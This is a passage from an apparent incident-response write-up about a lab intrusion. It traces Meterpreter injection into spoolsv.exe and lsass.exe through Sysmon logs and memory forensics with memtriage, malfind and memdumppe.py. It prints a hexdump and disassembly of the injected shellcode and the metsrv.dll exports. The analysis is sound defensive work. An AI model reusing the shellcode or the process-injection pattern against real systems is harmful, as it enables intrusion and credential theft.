IntegrityLevel: System

Hashes: MD5=BF93A2F9901E9B3DFCA8A7982F4A9868,SHA256=858A5766A2DE54A6908A2CA30DD5983790B8C63614A455292613B129877223E9,IMPHASH=B16908B0B9C28132BF70555413F2F045

ParentProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}

ParentProcessId: 468

ParentImage: C:\Windows\System32\services.exe

ParentCommandLine: C:\Windows\system32\services.exe


A little searching online and you'll find references indicating this is probably related to Meterpreter's getsystem command.

Followed by another Registry set value event, probably cleaning up the service as it is no longer needed.

Date:          7/19/2020 8:04:17 PM

Event ID:      13

Task Category: Registry value set (rule: RegistryEvent)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Registry value set:

RuleName: T1031,T1050

EventType: SetValue

UtcTime: 2020-07-19 20:04:17.225

ProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}

ProcessId: 468

Image: C:\Windows\system32\services.exe

TargetObject: HKLM\System\CurrentControlSet\Services\axfvos\Start

Details: DWORD (0x00000004)


And another outbound connection:

Date:          7/19/2020 8:04:18 PM

Event ID:      3

Task Category: Network connection detected (rule: NetworkConnect)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Network connection detected:

RuleName: -

UtcTime: 2020-07-19 20:04:14.249

ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}

ProcessId: 2752

Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

User: 1011LABS\dave.hull

Protocol: tcp

Initiated: true

SourceIsIpv6: false

SourceIp: 10.47.47.17

SourceHostname: wins2012r202.1011Labs.com

SourcePort: 53247

SourcePortName: -

DestinationIsIpv6: false

DestinationIp: 10.47.47.26

DestinationHostname: -

DestinationPort: 80

DestinationPortName: http


And now for something completely different. Our PowerShell process calls CreateRemoteThread() against spoolsv.exe:

Date:          7/19/2020 8:04:30 PM

Event ID:      8

Task Category: CreateRemoteThread detected (rule: CreateRemoteThread)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

CreateRemoteThread detected:

RuleName: -

UtcTime: 2020-07-19 20:04:30.116

SourceProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}

SourceProcessId: 2752

SourceImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

TargetProcessGuid: {fc3f293c-bb50-5f13-4008-010000000000}

TargetProcessId: 1120

TargetImage: C:\Windows\System32\spoolsv.exe

NewThreadId: 212

StartAddress: 0x0000000000DC0000

StartModule: -

StartFunction: -


Above we looked at PowerShell allocating memory in its own process, populating that memory with shell code and creating a thread of execution. This is similar, but CreateRemoteThread() is used for starting a new thread of execution in another process. You might wonder why this is even possible in Windows. Microsoft's Raymond Chen explains.

Date:          7/19/2020 8:05:04 PM

Event ID:      8

Task Category: CreateRemoteThread detected (rule: CreateRemoteThread)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

CreateRemoteThread detected:

RuleName: -

UtcTime: 2020-07-19 20:05:04.992

SourceProcessGuid: {fc3f293c-bb50-5f13-4008-010000000000}

SourceProcessId: 1120

SourceImage: C:\Windows\System32\spoolsv.exe

TargetProcessGuid: {fc3f293c-bb4e-5f13-015e-000000000000}

TargetProcessId: 476

TargetImage: C:\Windows\System32\lsass.exe

NewThreadId: 1864

StartAddress: 0x000000A0FF660000

StartModule: -

StartFunction: -


And above we see that spoolsv.exe calls CreateRemoteThread() against lsass.exe, which is the Local Security Authority Subsystem Service and handles security policy enforcement, password changes, authentication, and the like. When attackers want to dump credentials on Windows, they often do so by attacking lsass.

There is other data that Sysmon could give us. If we were running it with Image Loads configured, which creates a ton of noise, it would show us what dlls are loaded into processes and when. If it were configured to do this on this endpoint, we would see a handful of dlls loaded into the spoolsv.exe process shortly after our third PowerShell process opened a new thread in the spooler service.

See More: Memtriage

We can see this using gleeda's memtriage in combination with supported Volatility plugins. For my investigation, I downloaded memtriage to the victim system and started with this command:

.\memtriage.exe --pid 1120 --output csv --plugins dlllist --outfile dlllist_1120.csv


To quickly review the output, I used PowerShell and created a variable that assigned each CSV to an object as follows:

$dlllist = Get-Content ./dlllist_1120.csv | ConvertFrom-Csv


And then I selected the specific properties from those objects as follows:

$dlllist | Select-Object -Property LoadTime,Path


LoadTime                     Path

--------                     ----

2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\spoolsv.exe

2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\KERNEL32.DLL

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\KERNELBASE.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\USER32.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\msvcrt.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\sechost.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\RPCRT4.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\DNSAPI.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\powrprof.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\GDI32.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\WS2_32.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\system32\NSI.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\SYSTEM32\combase.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\CRYPTBASE.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\bcryptPrimitives.dll

2020-07-19 03:17:36 UTC+0000 C:\Windows\System32\sspicli.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\clusapi.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\cryptdll.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\advapi32.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\IPHLPAPI.DLL

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\WINNSI.DLL

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\mswsock.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\rasadhlp.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\fwpuclnt.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\localspl.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\CRYPT32.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\srvcli.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\cfgmgr32.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\CRYPTSP.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\SPOOLSS.DLL

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\WINTRUST.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\SETUPAPI.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\bcrypt.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\MSASN1.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\DEVOBJ.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\winspool.drv

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\PrintIsolationProxy.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\tcpmon.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\snmpapi.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\wsnmp32.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\usbmon.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\OLEAUT32.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\WSDMon.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\wsdapi.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\webservices.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\FirewallAPI.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\clbcatq.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\FunDisc.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\XmlLite.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\fdPnp.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\ATL.DLL

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\drvstore.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\spool\PRTPROCS\x64\winprint.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\USERENV.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\profapi.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\SYSTEM32\gpapi.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\VERSION.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\DSROLE.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\win32spl.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\SHLWAPI.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\DEVRTL.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\SPINF.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\system32\rsaenh.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\WINSTA.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\cscapi.dll

2020-07-19 03:18:12 UTC+0000 C:\Windows\System32\netutils.dll

2020-07-19 13:45:05 UTC+0000 C:\Windows\System32\WTSAPI32.dll

2020-07-19 20:04:32 UTC+0000 C:\Windows\system32\WININET.dll

2020-07-19 20:04:32 UTC+0000 C:\Windows\system32\iertutil.dll

2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\WINHTTP.dll

2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\dhcpcsvc6.DLL

2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\dhcpcsvc.DLL

2020-07-19 20:04:32 UTC+0000 C:\Windows\System32\webio.dll

2020-07-19 20:04:36 UTC+0000 C:\Windows\system32\PSAPI.DLL

2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\WINMM.dll

2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\WINMMBASE.dll

2020-07-19 20:04:36 UTC+0000 C:\Windows\system32\ole32.dll

2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\MPR.dll

2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\NETAPI32.dll

2020-07-19 20:04:36 UTC+0000 C:\Windows\System32\wkscli.dll


Take note of the load times for most of these dlls. Most are loaded shortly after the process starts. There's one outlier, WTSAPI32.dll and then there's a cluster of dlls loaded right around the time of our incident, 2020-07-19 20:04:32 UTC.

But why are these dlls loaded? The PowerShell we saw showed a small bit of shellcode and doesn't Metasploit do reflective loading without writing to disk and without registering dlls in the process? The answer is, yes, for the Metasploit specific dlls, but those dlls import functions from other system dlls as the authors of Metasploit don't want to write everything from scratch. Those 13 late loading dlls could make for a useful detection -- perhaps Sysmon should have a setting to only log late loading dlls. They may not all be malicious like the one outlier above, but logging late loading dlls could reduce the noise of logging all dll loads.

Let's see if other memtriage plugins can shed more light on what's going on, starting with malfind, which can be used to look for injected code in process memory. Here's the command I ran against the spoolsv.exe process id, 1120:

.\memtriage.exe --pid 1120 --plugins malfind --output csv --outfile malfind.csv


The data in this CSV output file can again be easily converted to PowerShell objects and reviewed using something like this:

$malfind = Get-Content .\malfind.csv | ConvertFrom-Csv

PS> $malfind

Process    : spoolsv.exe

Pid        : 1120

Address    : 14417920

VadTag     : VadS

Protection : PAGE_EXECUTE_READWRITE

Flags      : PrivateMemory: 1

Data       : Protection: 6


Process    : spoolsv.exe

Pid        : 1120

Address    : 1033265020928

VadTag     : VadS

Protection : PAGE_EXECUTE_READWRITE

Flags      : PrivateMemory: 1

Data       : Protection: 6


Process    : spoolsv.exe

Pid        : 1120

Address    : 1033271443456

VadTag     : VadS

Protection : PAGE_EXECUTE_READWRITE

Flags      : PrivateMemory: 1

Data       : Protection: 6


Process    : spoolsv.exe

Pid        : 1120

Address    : 1033272295424

VadTag     : VadS

Protection : PAGE_EXECUTE_READWRITE

Flags      : PrivateMemory: 1

Data       : Protection: 6


Above, malfind's output. When called as above, malfind shows that there are four suspect memory regions in spoolsv.exe's process memory. I don't know the exact heuristic malfind uses, but it may be a combination of the Protection and Flags. The PrivateMemory flag means the memory region is not backed by a file on disk. Generally a dll loaded in a process would be backed by a dll on disk. The Protection setting of PAGE_EXECUTE_READWRITE is an artifact of the code being written into the memory region. These permissions can be updated after injection, in fact, Chris Truncer's Veil Framework explicitly calls this out and addresses it. This would be a fun future project for testing malfind, and maybe it's been done already.

The malfind plugin can do more, if run without CSV output, you'll get something like this:

.\memtriage.exe --pid 1120 --dumpdir .\malfind_dump --plugins malfind


 ********************Plugin: malfind********************

Process: spoolsv.exe, Pid: 1120

VadTag: VadS, Protection: PAGE_EXECUTE_READWRITE, Flags: PrivateMemory: 1, Protection: 6


Raw data at address 0xdc0000: fc4889ce4881ec002000004883e4f0e8cc000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c


Disassembly:

0xdc0000 fc               CLD

0xdc0001 4889ce           MOV RSI, RCX

0xdc0004 4881ec00200000   SUB RSP, 0x2000

0xdc000b 4883e4f0         AND RSP, -0x10

0xdc000f e8cc000000       CALL 0xdc00e0

0xdc0014 4151             PUSH R9

0xdc0016 4150             PUSH R8

0xdc0018 52               PUSH RDX

0xdc0019 51               PUSH RCX

0xdc001a 56               PUSH RSI

0xdc001b 4831d2           XOR RDX, RDX

0xdc001e 65488b5260       MOV RDX, [GS:RDX+0x60]

0xdc0023 488b5218         MOV RDX, [RDX+0x18]

0xdc0027 488b5220         MOV RDX, [RDX+0x20]

0xdc002b 488b7250         MOV RSI, [RDX+0x50]

0xdc002f 480fb74a4a       MOVZX RCX, WORD [RDX+0x4a]

0xdc0034 4d31c9           XOR R9, R9

0xdc0037 4831c0           XOR RAX, RAX

0xdc003a ac               LODSB

0xdc003b 3c61             CMP AL, 0x61

0xdc003d 7c02             JL 0xdc0041

0xdc003f 2c               DB 0x2c


Hexdump:

0x00dc0000  fc 48 89 ce 48 81 ec 00 20 00 00 48 83 e4 f0 e8   .H..H......H....

0x00dc0010  cc 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48   ....AQAPRQVH1.eH

0x00dc0020  8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48   .R`H.R.H.R.H.rPH

0x00dc0030  0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c   ..JJM1.H1..<a|.,



Process: spoolsv.exe, Pid: 1120

VadTag: VadS, Protection: PAGE_EXECUTE_READWRITE, Flags: PrivateMemory: 1, Protection: 6


Raw data at address 0xf093650000: 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e8000000


Disassembly:

0xf093650000 4d5a             POP R10

0xf093650002 90               NOP

0xf093650003 0003             ADD [RBX], AL

0xf093650005 0000             ADD [RAX], AL

0xf093650007 000400           ADD [RAX+RAX], AL

0xf09365000a 0000             ADD [RAX], AL

0xf09365000c ff               DB 0xff

...


Above we see the same data as before, plus a disassembly and hexdump of 64 bytes of the suspect memory regions, note the use of the --dumpdir argument, which will create dump files containing the suspect memory ranges that can be analyzed further.

Triaging malfind's dumps

A capable reverse engineer would likely load malfind's dumps in something like IDA Pro and reach sound conclusions about the capabilities represented by the contents of these suspect memory regions. 

davehull@scrutiny:~/res/malfind_dump$ ls -la

total 2968

drwxrwxr-x 2 davehull davehull    4096 Jul 21 13:59 .

drwxrwxr-x 3 davehull davehull    4096 Jul 21 14:01 ..

-rw-rw-r-- 1 davehull davehull 1191935 Jul 19 21:39 process.0xfffffa8005138980.0xdc0000.dmp

-rw-rw-r-- 1 davehull davehull  155647 Jul 19 21:39 process.0xfffffa8005138980.0xf093650000.dmp

-rw-rw-r-- 1 davehull davehull  450559 Jul 19 21:39 process.0xfffffa8005138980.0xf093c70000.dmp

-rw-rw-r-- 1 davehull davehull 1232895 Jul 19 21:39 process.0xfffffa8005138980.0xf093d40000.dmp

davehull@scrutiny:~/res/malfind_dump$


I've never considered myself an expert at RE (or anything, really), but have dabbled on the edges. An easy place to start for quickly triaging is with the strings utility.

strings -a -t d process.0xfffffa8005138980.0xdc0000.dmp > process.0xfffffa8005138980.0xdc0000.dmp.strings

strings -a -t d -e l process.0xfffffa8005138980.0xdc0000.dmp >> process.0xfffffa8005138980.0xdc0000.dmp.strings


The above commands extract ASCII and Unicode strings from the first of malfind's dumps and include a first column indicating the number of bytes into the file where the given string begins, this can be useful if you want to examine the string in context.

cat process.0xfffffa8005138980.0xdc0000.dmp.strings | awk '{$1="";print}'| sort | uniq -c | sort -g > process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo


And this command trims the first column, sorts the data, passes it to the uniq utility with the -c argument to get a count of the number of occurrences of the given string then passes this to the sort command again to sort the results by frequency of occurrence of the given string. This is done as a data reduction measure, cutting the number of strings by 1/3. We can further reduce this by grepping through the strings with a good wordlist.

cp /usr/share/dict/american-english .

strings american-english | grep -v "'" > american-english.1

strings -n4 american-english.1 > american-english


The steps above copy the system's American English dictionary to the current directory, then removes lines from it containing apostrophes and then trims out words of less than four characters. Now that we have a reasonably good list of words, we can grep through our strings output for matches:

grep -iFf american-english process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo > process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo.words


Again, this is purely about data reduction. After this step, we're down to less than 4K words from nearly 17K strings at the start:

davehull@scrutiny:~/res/malfind_dump$ wc -l *strings*

 16942 process.0xfffffa8005138980.0xdc0000.dmp.strings

  8540 process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo

  3797 process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo.words


Here are a few interesting strings from the .words file:

davehull@scrutiny:~/res/malfind_dump$ grep Create *.words

      1  CreateEventA

      1  CreateEventExW

      1  CreateFile2

      1  CreateFileA

      1  CreateFileW

      1  CreateMutexA

      1  CreateRemoteThread

      1  CreateSemaphoreExW

      1  CreateSymbolicLinkW

      1  CreateThread

      1  CreateThreadpoolTimer

      1  CreateThreadpoolWait

      1  NtCreateSection

      1  RtlCreateUserThread

      2  CreateToolhelp32Snapshot

davehull@scrutiny:~/res/malfind_dump$ grep Reflective *.words

      2  ReflectiveLoader

davehull@scrutiny:~/res/malfind_dump$ grep -i "\.dll" *.words

      1  CRYPT32.dll

      1  kernel32.dll

      1  KERNEL32.dll

      1  USER32.dll

      1  WININET.dll


Above are what appear to be function names and the names of some dlls, which may be imported. There are many strings related to SSL and TLS (not shown). Alas our use of strings is akin to groping around in the dark. We could proceed this way through the other files, but there are better tools for the job.

The prolific producer of prodigious probing programs, Willi Ballenthin, has written a wrapper around Vivisect that can extract certain features from memory dumped PE files. Here's what memdumppe.py produces against the first dump:

davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xdc0000.dmp 0 

Traceback (most recent call last):

  File "/home/davehull/bin/memdumppe.py", line 280, in <module>

    sys.exit(main())

  File "/home/davehull/bin/memdumppe.py", line 265, in main

    pe = PE.PE(fv, inmem=guess_is_memory_image(fv))

  File "/home/davehull/.local/lib/python2.7/site-packages/PE/__init__.py", line 377, in __init__

    "pe.IMAGE_NT_HEADERS")

  File "/home/davehull/.local/lib/python2.7/site-packages/PE/__init__.py", line 481, in readStructAtOffset

    sbytes = self.readAtOffset(offset, len(s))

  File "/home/davehull/.local/lib/python2.7/site-packages/PE/__init__.py", line 659, in readAtOffset

    self.fd.seek(offset)

  File "/home/davehull/bin/memdumppe.py", line 117, in seek

    raise IOError('cant read offset %d (overrun)' % (final_offset - self.start))

IOError: cant read offset 738360417 (overrun)


Not entirely useful. Let's take a look at the file using xxd:

davehull@scrutiny:~/res/malfind_dump$ xxd process.0xfffffa8005138980.0xdc0000.dmp

00000000: fc48 89ce 4881 ec00 2000 0048 83e4 f0e8  .H..H... ..H....

00000010: cc00 0000 4151 4150 5251 5648 31d2 6548  ....AQAPRQVH1.eH

00000020: 8b52 6048 8b52 1848 8b52 2048 8b72 5048  .R`H.R.H.R H.rPH

00000030: 0fb7 4a4a 4d31 c948 31c0 ac3c 617c 022c  ..JJM1.H1..<a|.,

00000040: 2041 c1c9 0d41 01c1 e2ed 5241 5148 8b52   A...A....RAQH.R

00000050: 208b 423c 4801 d066 8178 180b 020f 8572   .B<H..f.x.....r

00000060: 0000 008b 8088 0000 0048 85c0 7467 4801  .........H..tgH.

00000070: d050 8b48 1844 8b40 2049 01d0 e356 48ff  .P.H.D.@ I...VH.

00000080: c941 8b34 8848 01d6 4d31 c948 31c0 ac41  .A.4.H..M1.H1..A

00000090: c1c9 0d41 01c1 38e0 75f1 4c03 4c24 0845  ...A..8.u.L.L$.E

000000a0: 39d1 75d8 5844 8b40 2449 01d0 6641 8b0c  9.u.XD.@$I..fA..

000000b0: 4844 8b40 1c49 01d0 418b 0488 4801 d041  HD.@.I..A...H..A

000000c0: 5841 585e 595a 4158 4159 415a 4883 ec20  XAX^YZAXAYAZH.. 

000000d0: 4152 ffe0 5841 595a 488b 12e9 4bff ffff  AR..XAYZH...K...

000000e0: 5d48 8b0e 41ba 1d9f 2635 ffd5 ff56 0870  ]H..A...&5...V.p

000000f0: 0500 0000 0000 00ff 00dc 0000 0000 004d  ...............M

00000100: 5a41 5255 4889 e548 83ec 20e8 0000 0000  ZARUH..H.. .....

00000110: 5b48 81c3 af1e 0000 ffd3 4881 c340 0312  [H........H..@..

00000120: 0089 3b49 89d8 6a04 5aff d000 0000 0000  ..;I..j.Z.......

00000130: 0000 0000 0000 0000 0000 0000 0100 000e  ................

00000140: 1fba 0e00 b409 cd21 b801 4ccd 2154 6869  .......!..L.!Thi

00000150: 7320 7072 6f67 7261 6d20 6361 6e6e 6f74  s program cannot

00000160: 2062 6520 7275 6e20 696e 2044 4f53 206d   be run in DOS m


Note the presence of the MZ header at offset 0xFF. Ballenthin's memdumppe.py takes an offset to the MZ header as an argument. Above I passed 0 as that offset and memdumppe.py failed. Let's try again with the offset of 255:

davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xdc0000.dmp 255 | more

timestamp: 2017-03-17T17:57:34+00:00

checksum: 0x12beb5

export name: metsrv.dll

exports:

  0) Init

  1) ReflectiveLoader

  2) buffer_from_file

  3) buffer_to_file

  4) channel_close

  5) channel_create

  6) channel_create_datagram

  7) channel_create_pool

  8) channel_create_stream

  9) channel_default_io_handler

  10) channel_destroy

  11) channel_exists

  12) channel_find_by_id

  13) channel_get_buffered_io_context

  14) channel_get_class

  15) channel_get_flags

  16) channel_get_id

  17) channel_get_native_io_context

  18) channel_get_type

  19) channel_interact

  20) channel_is_flag

  21) channel_is_interactive

  22) channel_open

  23) channel_read

  24) channel_read_from_buffered

  25) channel_set_buffered_io_handler

  26) channel_set_flags

  27) channel_set_interactive

  28) channel_set_native_io_context

  29) channel_set_type

  30) channel_write

  31) channel_write_to_buffered

  32) channel_write_to_remote

  33) command_deregister

  34) command_deregister_all

  35) command_handle

  36) command_join_threads

  37) command_register

  38) command_register_all

  39) core_update_desktop

  40) core_update_thread_token

  41) packet_add_completion_handler

  42) packet_add_exception

  43) packet_add_group

  44) packet_add_tlv_bool

  45) packet_add_tlv_group

  46) packet_add_tlv_qword

  47) packet_add_tlv_raw

  48) packet_add_tlv_string

  49) packet_add_tlv_uint

  50) packet_add_tlv_wstring

  51) packet_add_tlv_wstring_len

  52) packet_add_tlvs

  53) packet_call_completion_handlers

  54) packet_create

  55) packet_create_group

  56) packet_create_response

  57) packet_destroy

  58) packet_enum_tlv

  59) packet_get_tlv

  60) packet_get_tlv_group_entry

  61) packet_get_tlv_meta

  62) packet_get_tlv_string

  63) packet_get_tlv_value_bool

  64) packet_get_tlv_value_qword

  65) packet_get_tlv_value_raw

  66) packet_get_tlv_value_string

  67) packet_get_tlv_value_uint

  68) packet_get_tlv_value_wstring

  69) packet_get_type

  70) packet_is_tlv_null_terminated

  71) packet_remove_completion_handler

  72) packet_transmit_empty_response

  73) packet_transmit_response

  74) scheduler_destroy

  75) scheduler_initialize

  76) scheduler_insert_waitable

  77) scheduler_signal_waitable

  78) scheduler_waitable_thread

imports:

  - WS2_32.dll.ntohl

  - WS2_32.dll.connect

  - WS2_32.dll.htonl

  - WS2_32.dll.htons

  - WS2_32.dll.inet_addr

  - WS2_32.dll.inet_ntoa

  - WS2_32.dll.listen

  - WS2_32.dll.send

  - WS2_32.dll.WSADuplicateSocketA

  - WS2_32.dll.WSAGetLastError

  - WS2_32.dll.WSASetLastError

  - WS2_32.dll.WSAStartup

  - WS2_32.dll.getservbyname

  - WS2_32.dll.getservbyport

  - WS2_32.dll.gethostbyname

  - WS2_32.dll.gethostbyaddr

  - WS2_32.dll.socket

  - WS2_32.dll.setsockopt

  - WS2_32.dll.select

  - WS2_32.dll.recv

  - WS2_32.dll.ntohs

  - WS2_32.dll.shutdown

  - WS2_32.dll.closesocket

  - WS2_32.dll.bind

  - WS2_32.dll.accept

  - CRYPT32.dll.CertGetCertificateContextProperty

  - WININET.dll.HttpQueryInfoW

  - WININET.dll.InternetOpenW

  - WININET.dll.InternetCloseHandle

  - WININET.dll.InternetConnectW

  - WININET.dll.InternetReadFile

  - WININET.dll.InternetSetOptionW

  - WININET.dll.HttpOpenRequestW

  - WININET.dll.HttpSendRequestW

  - WININET.dll.InternetCrackUrlW

  - WINHTTP.dll.WinHttpOpenRequest

  - WINHTTP.dll.WinHttpReadData

  - WINHTTP.dll.WinHttpConnect

  - WINHTTP.dll.WinHttpCloseHandle

  - WINHTTP.dll.WinHttpCrackUrl

  - WINHTTP.dll.WinHttpSetOption

  - WINHTTP.dll.WinHttpQueryOption

  - WINHTTP.dll.WinHttpOpen

  - WINHTTP.dll.WinHttpGetIEProxyConfigForCurrentUser

  - WINHTTP.dll.WinHttpGetProxyForUrl

  - WINHTTP.dll.WinHttpQueryHeaders

  - WINHTTP.dll.WinHttpReceiveResponse

  - WINHTTP.dll.WinHttpSendRequest

  - KERNEL32.dll.CompareStringW

  - KERNEL32.dll.GetStringTypeW

  - KERNEL32.dll.CreateFileW

  - KERNEL32.dll.LoadLibraryExW

  - KERNEL32.dll.OutputDebugStringW

  - KERNEL32.dll.FileTimeToSystemTime

  - KERNEL32.dll.SystemTimeToTzSpecificLocalTime

  - KERNEL32.dll.GetDriveTypeW

  - KERNEL32.dll.FindFirstFileExW

  - KERNEL32.dll.SetStdHandle

  - KERNEL32.dll.SetFilePointerEx

  - KERNEL32.dll.ReadConsoleW

  - KERNEL32.dll.GetConsoleCP

  - KERNEL32.dll.FlushFileBuffers

  - KERNEL32.dll.TlsFree

  - KERNEL32.dll.TlsSetValue

  - KERNEL32.dll.TlsGetValue

  - KERNEL32.dll.TlsAlloc

  - KERNEL32.dll.TerminateProcess

  - KERNEL32.dll.GetProcAddress

  - KERNEL32.dll.FlushInstructionCache

  - KERNEL32.dll.VirtualAlloc

  - KERNEL32.dll.VirtualFree

  - KERNEL32.dll.VirtualProtect

  - KERNEL32.dll.VirtualQuery

  - KERNEL32.dll.WriteProcessMemory

  - KERNEL32.dll.LCMapStringW

  - KERNEL32.dll.LoadLibraryW

  - KERNEL32.dll.GetModuleHandleA

  - KERNEL32.dll.ExitProcess

  - KERNEL32.dll.SetUnhandledExceptionFilter

  - KERNEL32.dll.ExitThread

  - KERNEL32.dll.GetLastError

  - KERNEL32.dll.GetSystemDirectoryW

  - KERNEL32.dll.GetVolumeInformationW

  - KERNEL32.dll.GetComputerNameW

  - KERNEL32.dll.FreeLibrary

  - KERNEL32.dll.GetCurrentProcess

  - KERNEL32.dll.GetCurrentProcessId

  - KERNEL32.dll.GetCurrentThreadId

  - KERNEL32.dll.SetLastError

  - KERNEL32.dll.GetModuleHandleW

  - KERNEL32.dll.SetHandleInformation

  - KERNEL32.dll.GetSystemDirectoryA

  - KERNEL32.dll.GlobalFree

  - KERNEL32.dll.Sleep

  - KERNEL32.dll.GetStdHandle

  - KERNEL32.dll.GetFileType

  - KERNEL32.dll.MultiByteToWideChar

  - KERNEL32.dll.FindClose

  - KERNEL32.dll.WideCharToMultiByte

  - KERNEL32.dll.CloseHandle

  - KERNEL32.dll.QueryPerformanceCounter

  - KERNEL32.dll.GetTickCount

  - KERNEL32.dll.GlobalMemoryStatus

  - KERNEL32.dll.FlushConsoleInputBuffer

  - KERNEL32.dll.InitializeCriticalSectionAndSpinCount

  - KERNEL32.dll.UnhandledExceptionFilter

  - KERNEL32.dll.RtlVirtualUnwind

  - KERNEL32.dll.RtlLookupFunctionEntry

  - KERNEL32.dll.RtlCaptureContext

  - KERNEL32.dll.FreeEnvironmentStringsW

  - KERNEL32.dll.SetEnvironmentVariableA

  - KERNEL32.dll.FileTimeToLocalFileTime

  - KERNEL32.dll.GetFileInformationByHandle

  - KERNEL32.dll.PeekNamedPipe

  - KERNEL32.dll.GetFullPathNameW

  - KERNEL32.dll.GetCurrentDirectoryW

  - KERNEL32.dll.HeapSize

  - KERNEL32.dll.SetEndOfFile

  - KERNEL32.dll.LoadLibraryA

  - KERNEL32.dll.GetFileSize

  - KERNEL32.dll.GetEnvironmentStringsW

  - KERNEL32.dll.GetModuleFileNameA

  - KERNEL32.dll.GetStartupInfoW

  - KERNEL32.dll.DeleteCriticalSection

  - KERNEL32.dll.GetCPInfo

